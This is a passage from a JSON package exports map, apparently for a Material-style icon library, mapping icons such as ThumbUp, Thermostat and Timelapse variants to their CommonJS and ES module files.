\"./TextRotationAngleupOutlined\": {\n      \"require\": \"./TextRotationAngleupOutlined.js\",\n      \"import\": \"./TextRotationAngleupOutlined.mjs\",\n      \"default\": \"./TextRotationAngleupOutlined.mjs\"\n    },\n    \"./TextRotationAngleupRounded\": {\n      \"require\": \"./TextRotationAngleupRounded.js\",\n      \"import\": \"./TextRotationAngleupRounded.mjs\",\n      \"default\": \"./TextRotationAngleupRounded.mjs\"\n    },\n    \"./TextRotationAngleupSharp\": {\n      \"require\": \"./TextRotationAngleupSharp.js\",\n      \"import\": \"./TextRotationAngleupSharp.mjs\",\n      \"default\": \"./TextRotationAngleupSharp.mjs\"\n    },\n    \"./TextRotationAngleupTwoTone\": {\n      \"require\": \"./TextRotationAngleupTwoTone.js\",\n      \"import\": \"./TextRotationAngleupTwoTone.mjs\",\n      \"default\": \"./TextRotationAngleupTwoTone.mjs\"\n    },\n    \"./TextRotationDown\": {\n      \"require\": \"./TextRotationDown.js\",\n      \"import\": \"./TextRotationDown.mjs\",\n      \"default\": \"./TextRotationDown.mjs\"\n    },\n    \"./TextRotationDownOutlined\": {\n      \"import\": \"./TextRotationDownOutlined.mjs\",\n      \"require\": \"./TextRotationDownOutlined.js\",\n      \"default\": \"./TextRotationDownOutlined.mjs\"\n    },\n    \"./TextRotationDownRounded\": {\n      \"import\": \"./TextRotationDownRounded.mjs\",\n      \"require\": \"./TextRotationDownRounded.js\",\n      \"default\": \"./TextRotationDownRounded.mjs\"\n    },\n    \"./TextRotationDownSharp\": {\n      \"import\": \"./TextRotationDownSharp.mjs\",\n      \"require\": \"./TextRotationDownSharp.js\",\n      \"default\": \"./TextRotationDownSharp.mjs\"\n    },\n    \"./TextRotationDownTwoTone\": {\n      \"import\": \"./TextRotationDownTwoTone.mjs\",\n      \"require\": \"./TextRotationDownTwoTone.js\",\n      \"default\": \"./TextRotationDownTwoTone.mjs\"\n    },\n    \"./TextRotationNone\": {\n      \"import\": \"./TextRotationNone.mjs\",\n      \"require\": \"./TextRotationNone.js\",\n      \"default\": \"./TextRotationNone.mjs\"\n    },\n    \"./TextRotationNoneOutlined\": {\n      \"import\": \"./TextRotationNoneOutlined.mjs\",\n      \"require\": \"./TextRotationNoneOutlined.js\",\n      \"default\": \"./TextRotationNoneOutlined.mjs\"\n    },\n    \"./TextRotationNoneRounded\": {\n      \"import\": \"./TextRotationNoneRounded.mjs\",\n      \"require\": \"./TextRotationNoneRounded.js\",\n      \"default\": \"./TextRotationNoneRounded.mjs\"\n    },\n    \"./TextRotationNoneSharp\": {\n      \"import\": \"./TextRotationNoneSharp.mjs\",\n      \"require\": \"./TextRotationNoneSharp.js\",\n      \"default\": \"./TextRotationNoneSharp.mjs\"\n    },\n    \"./TextRotationNoneTwoTone\": {\n      \"import\": \"./TextRotationNoneTwoTone.mjs\",\n      \"require\": \"./TextRotationNoneTwoTone.js\",\n      \"default\": \"./TextRotationNoneTwoTone.mjs\"\n    },\n    \"./TextSnippet\": {\n      \"import\": \"./TextSnippet.mjs\",\n      \"require\": \"./TextSnippet.js\",\n      \"default\": \"./TextSnippet.mjs\"\n    },\n    \"./TextSnippetOutlined\": {\n      \"import\": \"./TextSnippetOutlined.mjs\",\n      \"require\": \"./TextSnippetOutlined.js\",\n      \"default\": \"./TextSnippetOutlined.mjs\"\n    },\n    \"./TextSnippetRounded\": {\n      \"require\": \"./TextSnippetRounded.js\",\n      \"import\": \"./TextSnippetRounded.mjs\",\n      \"default\": \"./TextSnippetRounded.mjs\"\n    },\n    \"./TextSnippetSharp\": {\n      \"require\": \"./TextSnippetSharp.js\",\n      \"import\": \"./TextSnippetSharp.mjs\",\n      \"default\": \"./TextSnippetSharp.mjs\"\n    },\n    \"./TextSnippetTwoTone\": {\n      \"import\": \"./TextSnippetTwoTone.mjs\",\n      \"require\": \"./TextSnippetTwoTone.js\",\n      \"default\": \"./TextSnippetTwoTone.mjs\"\n    },\n    \"./Textsms\": {\n      \"import\": \"./Textsms.mjs\",\n      \"require\": \"./Textsms.js\",\n      \"default\": \"./Textsms.mjs\"\n    },\n    \"./TextsmsOutlined\": {\n      \"require\": \"./TextsmsOutlined.js\",\n      \"import\": \"./TextsmsOutlined.mjs\",\n      \"default\": \"./TextsmsOutlined.mjs\"\n    },\n    \"./TextsmsRounded\": {\n      \"require\": \"./TextsmsRounded.js\",\n      \"import\": \"./TextsmsRounded.mjs\",\n      \"default\": \"./TextsmsRounded.mjs\"\n    },\n    \"./TextsmsSharp\": {\n      \"require\": \"./TextsmsSharp.js\",\n      \"import\": \"./TextsmsSharp.mjs\",\n      \"default\": \"./TextsmsSharp.mjs\"\n    },\n    \"./TextsmsTwoTone\": {\n      \"require\": \"./TextsmsTwoTone.js\",\n      \"import\": \"./TextsmsTwoTone.mjs\",\n      \"default\": \"./TextsmsTwoTone.mjs\"\n    },\n    \"./Texture\": {\n      \"require\": \"./Texture.js\",\n      \"import\": \"./Texture.mjs\",\n      \"default\": \"./Texture.mjs\"\n    },\n    \"./TextureOutlined\": {\n      \"require\": \"./TextureOutlined.js\",\n      \"import\": \"./TextureOutlined.mjs\",\n      \"default\": \"./TextureOutlined.mjs\"\n    },\n    \"./TextureRounded\": {\n      \"import\": \"./TextureRounded.mjs\",\n      \"require\": \"./TextureRounded.js\",\n      \"default\": \"./TextureRounded.mjs\"\n    },\n    \"./TextureSharp\": {\n      \"import\": \"./TextureSharp.mjs\",\n      \"require\": \"./TextureSharp.js\",\n      \"default\": \"./TextureSharp.mjs\"\n    },\n    \"./TextureTwoTone\": {\n      \"import\": \"./TextureTwoTone.mjs\",\n      \"require\": \"./TextureTwoTone.js\",\n      \"default\": \"./TextureTwoTone.mjs\"\n    },\n    \"./TheaterComedy\": {\n      \"import\": \"./TheaterComedy.mjs\",\n      \"require\": \"./TheaterComedy.js\",\n      \"default\": \"./TheaterComedy.mjs\"\n    },\n    \"./TheaterComedyOutlined\": {\n      \"require\": \"./TheaterComedyOutlined.js\",\n      \"import\": \"./TheaterComedyOutlined.mjs\",\n      \"default\": \"./TheaterComedyOutlined.mjs\"\n    },\n    \"./TheaterComedyRounded\": {\n      \"require\": \"./TheaterComedyRounded.js\",\n      \"import\": \"./TheaterComedyRounded.mjs\",\n      \"default\": \"./TheaterComedyRounded.mjs\"\n    },\n    \"./TheaterComedySharp\": {\n      \"require\": \"./TheaterComedySharp.js\",\n      \"import\": \"./TheaterComedySharp.mjs\",\n      \"default\": \"./TheaterComedySharp.mjs\"\n    },\n    \"./TheaterComedyTwoTone\": {\n      \"require\": \"./TheaterComedyTwoTone.js\",\n      \"import\": \"./TheaterComedyTwoTone.mjs\",\n      \"default\": \"./TheaterComedyTwoTone.mjs\"\n    },\n    \"./Theaters\": {\n      \"require\": \"./Theaters.js\",\n      \"import\": \"./Theaters.mjs\",\n      \"default\": \"./Theaters.mjs\"\n    },\n    \"./TheatersOutlined\": {\n      \"require\": \"./TheatersOutlined.js\",\n      \"import\": \"./TheatersOutlined.mjs\",\n      \"default\": \"./TheatersOutlined.mjs\"\n    },\n    \"./TheatersRounded\": {\n      \"require\": \"./TheatersRounded.js\",\n      \"import\": \"./TheatersRounded.mjs\",\n      \"default\": \"./TheatersRounded.mjs\"\n    },\n    \"./TheatersSharp\": {\n      \"require\": \"./TheatersSharp.js\",\n      \"import\": \"./TheatersSharp.mjs\",\n      \"default\": \"./TheatersSharp.mjs\"\n    },\n    \"./TheatersTwoTone\": {\n      \"require\": \"./TheatersTwoTone.js\",\n      \"import\": \"./TheatersTwoTone.mjs\",\n      \"default\": \"./TheatersTwoTone.mjs\"\n    },\n    \"./Thermostat\": {\n      \"require\": \"./Thermostat.js\",\n      \"import\": \"./Thermostat.mjs\",\n      \"default\": \"./Thermostat.mjs\"\n    },\n    \"./ThermostatAuto\": {\n      \"require\": \"./ThermostatAuto.js\",\n      \"import\": \"./ThermostatAuto.mjs\",\n      \"default\": \"./ThermostatAuto.mjs\"\n    },\n    \"./ThermostatAutoOutlined\": {\n      \"require\": \"./ThermostatAutoOutlined.js\",\n      \"import\": \"./ThermostatAutoOutlined.mjs\",\n      \"default\": \"./ThermostatAutoOutlined.mjs\"\n    },\n    \"./ThermostatAutoRounded\": {\n      \"import\": \"./ThermostatAutoRounded.mjs\",\n      \"require\": \"./ThermostatAutoRounded.js\",\n      \"default\": \"./ThermostatAutoRounded.mjs\"\n    },\n    \"./ThermostatAutoSharp\": {\n      \"import\": \"./ThermostatAutoSharp.mjs\",\n      \"require\": \"./ThermostatAutoSharp.js\",\n      \"default\": \"./ThermostatAutoSharp.mjs\"\n    },\n    \"./ThermostatAutoTwoTone\": {\n      \"import\": \"./ThermostatAutoTwoTone.mjs\",\n      \"require\": \"./ThermostatAutoTwoTone.js\",\n      \"default\": \"./ThermostatAutoTwoTone.mjs\"\n    },\n    \"./ThermostatOutlined\": {\n      \"import\": \"./ThermostatOutlined.mjs\",\n      \"require\": \"./ThermostatOutlined.js\",\n      \"default\": \"./ThermostatOutlined.mjs\"\n    },\n    \"./ThermostatRounded\": {\n      \"import\": \"./ThermostatRounded.mjs\",\n      \"require\": \"./ThermostatRounded.js\",\n      \"default\": \"./ThermostatRounded.mjs\"\n    },\n    \"./ThermostatSharp\": {\n      \"import\": \"./ThermostatSharp.mjs\",\n      \"require\": \"./ThermostatSharp.js\",\n      \"default\": \"./ThermostatSharp.mjs\"\n    },\n    \"./ThermostatTwoTone\": {\n      \"import\": \"./ThermostatTwoTone.mjs\",\n      \"require\": \"./ThermostatTwoTone.js\",\n      \"default\": \"./ThermostatTwoTone.mjs\"\n    },\n    \"./ThirteenMp\": {\n      \"import\": \"./ThirteenMp.mjs\",\n      \"require\": \"./ThirteenMp.js\",\n      \"default\": \"./ThirteenMp.mjs\"\n    },\n    \"./ThirteenMpOutlined\": {\n      \"import\": \"./ThirteenMpOutlined.mjs\",\n      \"require\": \"./ThirteenMpOutlined.js\",\n      \"default\": \"./ThirteenMpOutlined.mjs\"\n    },\n    \"./ThirteenMpRounded\": {\n      \"import\": \"./ThirteenMpRounded.mjs\",\n      \"require\": \"./ThirteenMpRounded.js\",\n      \"default\": \"./ThirteenMpRounded.mjs\"\n    },\n    \"./ThirteenMpSharp\": {\n      \"import\": \"./ThirteenMpSharp.mjs\",\n      \"require\": \"./ThirteenMpSharp.js\",\n      \"default\": \"./ThirteenMpSharp.mjs\"\n    },\n    \"./ThirteenMpTwoTone\": {\n      \"import\": \"./ThirteenMpTwoTone.mjs\",\n      \"require\": \"./ThirteenMpTwoTone.js\",\n      \"default\": \"./ThirteenMpTwoTone.mjs\"\n    },\n    \"./ThirtyFps\": {\n      \"import\": \"./ThirtyFps.mjs\",\n      \"require\": \"./ThirtyFps.js\",\n      \"default\": \"./ThirtyFps.mjs\"\n    },\n    \"./ThirtyFpsOutlined\": {\n      \"import\": \"./ThirtyFpsOutlined.mjs\",\n      \"require\": \"./ThirtyFpsOutlined.js\",\n      \"default\": \"./ThirtyFpsOutlined.mjs\"\n    },\n    \"./ThirtyFpsRounded\": {\n      \"import\": \"./ThirtyFpsRounded.mjs\",\n      \"require\": \"./ThirtyFpsRounded.js\",\n      \"default\": \"./ThirtyFpsRounded.mjs\"\n    },\n    \"./ThirtyFpsSelect\": {\n      \"import\": \"./ThirtyFpsSelect.mjs\",\n      \"require\": \"./ThirtyFpsSelect.js\",\n      \"default\": \"./ThirtyFpsSelect.mjs\"\n    },\n    \"./ThirtyFpsSelectOutlined\": {\n      \"import\": \"./ThirtyFpsSelectOutlined.mjs\",\n      \"require\": \"./ThirtyFpsSelectOutlined.js\",\n      \"default\": \"./ThirtyFpsSelectOutlined.mjs\"\n    },\n    \"./ThirtyFpsSelectRounded\": {\n      \"import\": \"./ThirtyFpsSelectRounded.mjs\",\n      \"require\": \"./ThirtyFpsSelectRounded.js\",\n      \"default\": \"./ThirtyFpsSelectRounded.mjs\"\n    },\n    \"./ThirtyFpsSelectSharp\": {\n      \"import\": \"./ThirtyFpsSelectSharp.mjs\",\n      \"require\": \"./ThirtyFpsSelectSharp.js\",\n      \"default\": \"./ThirtyFpsSelectSharp.mjs\"\n    },\n    \"./ThirtyFpsSelectTwoTone\": {\n      \"import\": \"./ThirtyFpsSelectTwoTone.mjs\",\n      \"require\": \"./ThirtyFpsSelectTwoTone.js\",\n      \"default\": \"./ThirtyFpsSelectTwoTone.mjs\"\n    },\n    \"./ThirtyFpsSharp\": {\n      \"import\": \"./ThirtyFpsSharp.mjs\",\n      \"require\": \"./ThirtyFpsSharp.js\",\n      \"default\": \"./ThirtyFpsSharp.mjs\"\n    },\n    \"./ThirtyFpsTwoTone\": {\n      \"import\": \"./ThirtyFpsTwoTone.mjs\",\n      \"require\": \"./ThirtyFpsTwoTone.js\",\n      \"default\": \"./ThirtyFpsTwoTone.mjs\"\n    },\n    \"./ThreeDRotation\": {\n      \"require\": \"./ThreeDRotation.js\",\n      \"import\": \"./ThreeDRotation.mjs\",\n      \"default\": \"./ThreeDRotation.mjs\"\n    },\n    \"./ThreeDRotationOutlined\": {\n      \"require\": \"./ThreeDRotationOutlined.js\",\n      \"import\": \"./ThreeDRotationOutlined.mjs\",\n      \"default\": \"./ThreeDRotationOutlined.mjs\"\n    },\n    \"./ThreeDRotationRounded\": {\n      \"import\": \"./ThreeDRotationRounded.mjs\",\n      \"require\": \"./ThreeDRotationRounded.js\",\n      \"default\": \"./ThreeDRotationRounded.mjs\"\n    },\n    \"./ThreeDRotationSharp\": {\n      \"import\": \"./ThreeDRotationSharp.mjs\",\n      \"require\": \"./ThreeDRotationSharp.js\",\n      \"default\": \"./ThreeDRotationSharp.mjs\"\n    },\n    \"./ThreeDRotationTwoTone\": {\n      \"import\": \"./ThreeDRotationTwoTone.mjs\",\n      \"require\": \"./ThreeDRotationTwoTone.js\",\n      \"default\": \"./ThreeDRotationTwoTone.mjs\"\n    },\n    \"./ThreeGMobiledata\": {\n      \"import\": \"./ThreeGMobiledata.mjs\",\n      \"require\": \"./ThreeGMobiledata.js\",\n      \"default\": \"./ThreeGMobiledata.mjs\"\n    },\n    \"./ThreeGMobiledataOutlined\": {\n      \"import\": \"./ThreeGMobiledataOutlined.mjs\",\n      \"require\": \"./ThreeGMobiledataOutlined.js\",\n      \"default\": \"./ThreeGMobiledataOutlined.mjs\"\n    },\n    \"./ThreeGMobiledataRounded\": {\n      \"require\": \"./ThreeGMobiledataRounded.js\",\n      \"import\": \"./ThreeGMobiledataRounded.mjs\",\n      \"default\": \"./ThreeGMobiledataRounded.mjs\"\n    },\n    \"./ThreeGMobiledataSharp\": {\n      \"require\": \"./ThreeGMobiledataSharp.js\",\n      \"import\": \"./ThreeGMobiledataSharp.mjs\",\n      \"default\": \"./ThreeGMobiledataSharp.mjs\"\n    },\n    \"./ThreeGMobiledataTwoTone\": {\n      \"require\": \"./ThreeGMobiledataTwoTone.js\",\n      \"import\": \"./ThreeGMobiledataTwoTone.mjs\",\n      \"default\": \"./ThreeGMobiledataTwoTone.mjs\"\n    },\n    \"./ThreeK\": {\n      \"require\": \"./ThreeK.js\",\n      \"import\": \"./ThreeK.mjs\",\n      \"default\": \"./ThreeK.mjs\"\n    },\n    \"./ThreeKOutlined\": {\n      \"require\": \"./ThreeKOutlined.js\",\n      \"import\": \"./ThreeKOutlined.mjs\",\n      \"default\": \"./ThreeKOutlined.mjs\"\n    },\n    \"./ThreeKPlus\": {\n      \"import\": \"./ThreeKPlus.mjs\",\n      \"require\": \"./ThreeKPlus.js\",\n      \"default\": \"./ThreeKPlus.mjs\"\n    },\n    \"./ThreeKPlusOutlined\": {\n      \"import\": \"./ThreeKPlusOutlined.mjs\",\n      \"require\": \"./ThreeKPlusOutlined.js\",\n      \"default\": \"./ThreeKPlusOutlined.mjs\"\n    },\n    \"./ThreeKPlusRounded\": {\n      \"import\": \"./ThreeKPlusRounded.mjs\",\n      \"require\": \"./ThreeKPlusRounded.js\",\n      \"default\": \"./ThreeKPlusRounded.mjs\"\n    },\n    \"./ThreeKPlusSharp\": {\n      \"import\": \"./ThreeKPlusSharp.mjs\",\n      \"require\": \"./ThreeKPlusSharp.js\",\n      \"default\": \"./ThreeKPlusSharp.mjs\"\n    },\n    \"./ThreeKPlusTwoTone\": {\n      \"require\": \"./ThreeKPlusTwoTone.js\",\n      \"import\": \"./ThreeKPlusTwoTone.mjs\",\n      \"default\": \"./ThreeKPlusTwoTone.mjs\"\n    },\n    \"./ThreeKRounded\": {\n      \"require\": \"./ThreeKRounded.js\",\n      \"import\": \"./ThreeKRounded.mjs\",\n      \"default\": \"./ThreeKRounded.mjs\"\n    },\n    \"./ThreeKSharp\": {\n      \"require\": \"./ThreeKSharp.js\",\n      \"import\": \"./ThreeKSharp.mjs\",\n      \"default\": \"./ThreeKSharp.mjs\"\n    },\n    \"./ThreeKTwoTone\": {\n      \"require\": \"./ThreeKTwoTone.js\",\n      \"import\": \"./ThreeKTwoTone.mjs\",\n      \"default\": \"./ThreeKTwoTone.mjs\"\n    },\n    \"./ThreeMp\": {\n      \"require\": \"./ThreeMp.js\",\n      \"import\": \"./ThreeMp.mjs\",\n      \"default\": \"./ThreeMp.mjs\"\n    },\n    \"./ThreeMpOutlined\": {\n      \"require\": \"./ThreeMpOutlined.js\",\n      \"import\": \"./ThreeMpOutlined.mjs\",\n      \"default\": \"./ThreeMpOutlined.mjs\"\n    },\n    \"./ThreeMpRounded\": {\n      \"require\": \"./ThreeMpRounded.js\",\n      \"import\": \"./ThreeMpRounded.mjs\",\n      \"default\": \"./ThreeMpRounded.mjs\"\n    },\n    \"./ThreeMpSharp\": {\n      \"require\": \"./ThreeMpSharp.js\",\n      \"import\": \"./ThreeMpSharp.mjs\",\n      \"default\": \"./ThreeMpSharp.mjs\"\n    },\n    \"./ThreeMpTwoTone\": {\n      \"require\": \"./ThreeMpTwoTone.js\",\n      \"import\": \"./ThreeMpTwoTone.mjs\",\n      \"default\": \"./ThreeMpTwoTone.mjs\"\n    },\n    \"./ThreeP\": {\n      \"require\": \"./ThreeP.js\",\n      \"import\": \"./ThreeP.mjs\",\n      \"default\": \"./ThreeP.mjs\"\n    },\n    \"./ThreePOutlined\": {\n      \"require\": \"./ThreePOutlined.js\",\n      \"import\": \"./ThreePOutlined.mjs\",\n      \"default\": \"./ThreePOutlined.mjs\"\n    },\n    \"./ThreePRounded\": {\n      \"require\": \"./ThreePRounded.js\",\n      \"import\": \"./ThreePRounded.mjs\",\n      \"default\": \"./ThreePRounded.mjs\"\n    },\n    \"./ThreePSharp\": {\n      \"require\": \"./ThreePSharp.js\",\n      \"import\": \"./ThreePSharp.mjs\",\n      \"default\": \"./ThreePSharp.mjs\"\n    },\n    \"./ThreePTwoTone\": {\n      \"require\": \"./ThreePTwoTone.js\",\n      \"import\": \"./ThreePTwoTone.mjs\",\n      \"default\": \"./ThreePTwoTone.mjs\"\n    },\n    \"./ThreeSixty\": {\n      \"require\": \"./ThreeSixty.js\",\n      \"import\": \"./ThreeSixty.mjs\",\n      \"default\": \"./ThreeSixty.mjs\"\n    },\n    \"./ThreeSixtyOutlined\": {\n      \"require\": \"./ThreeSixtyOutlined.js\",\n      \"import\": \"./ThreeSixtyOutlined.mjs\",\n      \"default\": \"./ThreeSixtyOutlined.mjs\"\n    },\n    \"./ThreeSixtyRounded\": {\n      \"require\": \"./ThreeSixtyRounded.js\",\n      \"import\": \"./ThreeSixtyRounded.mjs\",\n      \"default\": \"./ThreeSixtyRounded.mjs\"\n    },\n    \"./ThreeSixtySharp\": {\n      \"require\": \"./ThreeSixtySharp.js\",\n      \"import\": \"./ThreeSixtySharp.mjs\",\n      \"default\": \"./ThreeSixtySharp.mjs\"\n    },\n    \"./ThreeSixtyTwoTone\": {\n      \"import\": \"./ThreeSixtyTwoTone.mjs\",\n      \"require\": \"./ThreeSixtyTwoTone.js\",\n      \"default\": \"./ThreeSixtyTwoTone.mjs\"\n    },\n    \"./ThumbDown\": {\n      \"require\": \"./ThumbDown.js\",\n      \"import\": \"./ThumbDown.mjs\",\n      \"default\": \"./ThumbDown.mjs\"\n    },\n    \"./ThumbDownAlt\": {\n      \"require\": \"./ThumbDownAlt.js\",\n      \"import\": \"./ThumbDownAlt.mjs\",\n      \"default\": \"./ThumbDownAlt.mjs\"\n    },\n    \"./ThumbDownAltOutlined\": {\n      \"import\": \"./ThumbDownAltOutlined.mjs\",\n      \"require\": \"./ThumbDownAltOutlined.js\",\n      \"default\": \"./ThumbDownAltOutlined.mjs\"\n    },\n    \"./ThumbDownAltRounded\": {\n      \"import\": \"./ThumbDownAltRounded.mjs\",\n      \"require\": \"./ThumbDownAltRounded.js\",\n      \"default\": \"./ThumbDownAltRounded.mjs\"\n    },\n    \"./ThumbDownAltSharp\": {\n      \"import\": \"./ThumbDownAltSharp.mjs\",\n      \"require\": \"./ThumbDownAltSharp.js\",\n      \"default\": \"./ThumbDownAltSharp.mjs\"\n    },\n    \"./ThumbDownAltTwoTone\": {\n      \"import\": \"./ThumbDownAltTwoTone.mjs\",\n      \"require\": \"./ThumbDownAltTwoTone.js\",\n      \"default\": \"./ThumbDownAltTwoTone.mjs\"\n    },\n    \"./ThumbDownOffAlt\": {\n      \"import\": \"./ThumbDownOffAlt.mjs\",\n      \"require\": \"./ThumbDownOffAlt.js\",\n      \"default\": \"./ThumbDownOffAlt.mjs\"\n    },\n    \"./ThumbDownOffAltOutlined\": {\n      \"import\": \"./ThumbDownOffAltOutlined.mjs\",\n      \"require\": \"./ThumbDownOffAltOutlined.js\",\n      \"default\": \"./ThumbDownOffAltOutlined.mjs\"\n    },\n    \"./ThumbDownOffAltRounded\": {\n      \"import\": \"./ThumbDownOffAltRounded.mjs\",\n      \"require\": \"./ThumbDownOffAltRounded.js\",\n      \"default\": \"./ThumbDownOffAltRounded.mjs\"\n    },\n    \"./ThumbDownOffAltSharp\": {\n      \"import\": \"./ThumbDownOffAltSharp.mjs\",\n      \"require\": \"./ThumbDownOffAltSharp.js\",\n      \"default\": \"./ThumbDownOffAltSharp.mjs\"\n    },\n    \"./ThumbDownOffAltTwoTone\": {\n      \"import\": \"./ThumbDownOffAltTwoTone.mjs\",\n      \"require\": \"./ThumbDownOffAltTwoTone.js\",\n      \"default\": \"./ThumbDownOffAltTwoTone.mjs\"\n    },\n    \"./ThumbDownOutlined\": {\n      \"import\": \"./ThumbDownOutlined.mjs\",\n      \"require\": \"./ThumbDownOutlined.js\",\n      \"default\": \"./ThumbDownOutlined.mjs\"\n    },\n    \"./ThumbDownRounded\": {\n      \"import\": \"./ThumbDownRounded.mjs\",\n      \"require\": \"./ThumbDownRounded.js\",\n      \"default\": \"./ThumbDownRounded.mjs\"\n    },\n    \"./ThumbDownSharp\": {\n      \"import\": \"./ThumbDownSharp.mjs\",\n      \"require\": \"./ThumbDownSharp.js\",\n      \"default\": \"./ThumbDownSharp.mjs\"\n    },\n    \"./ThumbDownTwoTone\": {\n      \"import\": \"./ThumbDownTwoTone.mjs\",\n      \"require\": \"./ThumbDownTwoTone.js\",\n      \"default\": \"./ThumbDownTwoTone.mjs\"\n    },\n    \"./ThumbUp\": {\n      \"import\": \"./ThumbUp.mjs\",\n      \"require\": \"./ThumbUp.js\",\n      \"default\": \"./ThumbUp.mjs\"\n    },\n    \"./ThumbUpAlt\": {\n      \"import\": \"./ThumbUpAlt.mjs\",\n      \"require\": \"./ThumbUpAlt.js\",\n      \"default\": \"./ThumbUpAlt.mjs\"\n    },\n    \"./ThumbUpAltOutlined\": {\n      \"import\": \"./ThumbUpAltOutlined.mjs\",\n      \"require\": \"./ThumbUpAltOutlined.js\",\n      \"default\": \"./ThumbUpAltOutlined.mjs\"\n    },\n    \"./ThumbUpAltRounded\": {\n      \"import\": \"./ThumbUpAltRounded.mjs\",\n      \"require\": \"./ThumbUpAltRounded.js\",\n      \"default\": \"./ThumbUpAltRounded.mjs\"\n    },\n    \"./ThumbUpAltSharp\": {\n      \"import\": \"./ThumbUpAltSharp.mjs\",\n      \"require\": \"./ThumbUpAltSharp.js\",\n      \"default\": \"./ThumbUpAltSharp.mjs\"\n    },\n    \"./ThumbUpAltTwoTone\": {\n      \"import\": \"./ThumbUpAltTwoTone.mjs\",\n      \"require\": \"./ThumbUpAltTwoTone.js\",\n      \"default\": \"./ThumbUpAltTwoTone.mjs\"\n    },\n    \"./ThumbUpOffAlt\": {\n      \"import\": \"./ThumbUpOffAlt.mjs\",\n      \"require\": \"./ThumbUpOffAlt.js\",\n      \"default\": \"./ThumbUpOffAlt.mjs\"\n    },\n    \"./ThumbUpOffAltOutlined\": {\n      \"import\": \"./ThumbUpOffAltOutlined.mjs\",\n      \"require\": \"./ThumbUpOffAltOutlined.js\",\n      \"default\": \"./ThumbUpOffAltOutlined.mjs\"\n    },\n    \"./ThumbUpOffAltRounded\": {\n      \"import\": \"./ThumbUpOffAltRounded.mjs\",\n      \"require\": \"./ThumbUpOffAltRounded.js\",\n      \"default\": \"./ThumbUpOffAltRounded.mjs\"\n    },\n    \"./ThumbUpOffAltSharp\": {\n      \"import\": \"./ThumbUpOffAltSharp.mjs\",\n      \"require\": \"./ThumbUpOffAltSharp.js\",\n      \"default\": \"./ThumbUpOffAltSharp.mjs\"\n    },\n    \"./ThumbUpOffAltTwoTone\": {\n      \"import\": \"./ThumbUpOffAltTwoTone.mjs\",\n      \"require\": \"./ThumbUpOffAltTwoTone.js\",\n      \"default\": \"./ThumbUpOffAltTwoTone.mjs\"\n    },\n    \"./ThumbUpOutlined\": {\n      \"import\": \"./ThumbUpOutlined.mjs\",\n      \"require\": \"./ThumbUpOutlined.js\",\n      \"default\": \"./ThumbUpOutlined.mjs\"\n    },\n    \"./ThumbUpRounded\": {\n      \"require\": \"./ThumbUpRounded.js\",\n      \"import\": \"./ThumbUpRounded.mjs\",\n      \"default\": \"./ThumbUpRounded.mjs\"\n    },\n    \"./ThumbUpSharp\": {\n      \"require\": \"./ThumbUpSharp.js\",\n      \"import\": \"./ThumbUpSharp.mjs\",\n      \"default\": \"./ThumbUpSharp.mjs\"\n    },\n    \"./ThumbUpTwoTone\": {\n      \"require\": \"./ThumbUpTwoTone.js\",\n      \"import\": \"./ThumbUpTwoTone.mjs\",\n      \"default\": \"./ThumbUpTwoTone.mjs\"\n    },\n    \"./ThumbsUpDown\": {\n      \"require\": \"./ThumbsUpDown.js\",\n      \"import\": \"./ThumbsUpDown.mjs\",\n      \"default\": \"./ThumbsUpDown.mjs\"\n    },\n    \"./ThumbsUpDownOutlined\": {\n      \"require\": \"./ThumbsUpDownOutlined.js\",\n      \"import\": \"./ThumbsUpDownOutlined.mjs\",\n      \"default\": \"./ThumbsUpDownOutlined.mjs\"\n    },\n    \"./ThumbsUpDownRounded\": {\n      \"require\": \"./ThumbsUpDownRounded.js\",\n      \"import\": \"./ThumbsUpDownRounded.mjs\",\n      \"default\": \"./ThumbsUpDownRounded.mjs\"\n    },\n    \"./ThumbsUpDownSharp\": {\n      \"import\": \"./ThumbsUpDownSharp.mjs\",\n      \"require\": \"./ThumbsUpDownSharp.js\",\n      \"default\": \"./ThumbsUpDownSharp.mjs\"\n    },\n    \"./ThumbsUpDownTwoTone\": {\n      \"import\": \"./ThumbsUpDownTwoTone.mjs\",\n      \"require\": \"./ThumbsUpDownTwoTone.js\",\n      \"default\": \"./ThumbsUpDownTwoTone.mjs\"\n    },\n    \"./Thunderstorm\": {\n      \"require\": \"./Thunderstorm.js\",\n      \"import\": \"./Thunderstorm.mjs\",\n      \"default\": \"./Thunderstorm.mjs\"\n    },\n    \"./ThunderstormOutlined\": {\n      \"require\": \"./ThunderstormOutlined.js\",\n      \"import\": \"./ThunderstormOutlined.mjs\",\n      \"default\": \"./ThunderstormOutlined.mjs\"\n    },\n    \"./ThunderstormRounded\": {\n      \"require\": \"./ThunderstormRounded.js\",\n      \"import\": \"./ThunderstormRounded.mjs\",\n      \"default\": \"./ThunderstormRounded.mjs\"\n    },\n    \"./ThunderstormSharp\": {\n      \"require\": \"./ThunderstormSharp.js\",\n      \"import\": \"./ThunderstormSharp.mjs\",\n      \"default\": \"./ThunderstormSharp.mjs\"\n    },\n    \"./ThunderstormTwoTone\": {\n      \"require\": \"./ThunderstormTwoTone.js\",\n      \"import\": \"./ThunderstormTwoTone.mjs\",\n      \"default\": \"./ThunderstormTwoTone.mjs\"\n    },\n    \"./TimeToLeave\": {\n      \"require\": \"./TimeToLeave.js\",\n      \"import\": \"./TimeToLeave.mjs\",\n      \"default\": \"./TimeToLeave.mjs\"\n    },\n    \"./TimeToLeaveOutlined\": {\n      \"require\": \"./TimeToLeaveOutlined.js\",\n      \"import\": \"./TimeToLeaveOutlined.mjs\",\n      \"default\": \"./TimeToLeaveOutlined.mjs\"\n    },\n    \"./TimeToLeaveRounded\": {\n      \"require\": \"./TimeToLeaveRounded.js\",\n      \"import\": \"./TimeToLeaveRounded.mjs\",\n      \"default\": \"./TimeToLeaveRounded.mjs\"\n    },\n    \"./TimeToLeaveSharp\": {\n      \"require\": \"./TimeToLeaveSharp.js\",\n      \"import\": \"./TimeToLeaveSharp.mjs\",\n      \"default\": \"./TimeToLeaveSharp.mjs\"\n    },\n    \"./TimeToLeaveTwoTone\": {\n      \"require\": \"./TimeToLeaveTwoTone.js\",\n      \"import\": \"./TimeToLeaveTwoTone.mjs\",\n      \"default\": \"./TimeToLeaveTwoTone.mjs\"\n    },\n    \"./Timelapse\": {\n      \"require\": \"./Timelapse.js\",\n      \"import\": \"./Timelapse.mjs\",\n      \"default\": \"./Timelapse.mjs\"\n    },\n    \"./TimelapseOutlined\": {\n      \"require\": \"./TimelapseOutlined.js\",\n      \"import\": \"./TimelapseOutlined.mjs\",\n      \"default\": \"./TimelapseOutlined.mjs\"\n    },\n    \"./TimelapseRounded\": {\n      \"require\": 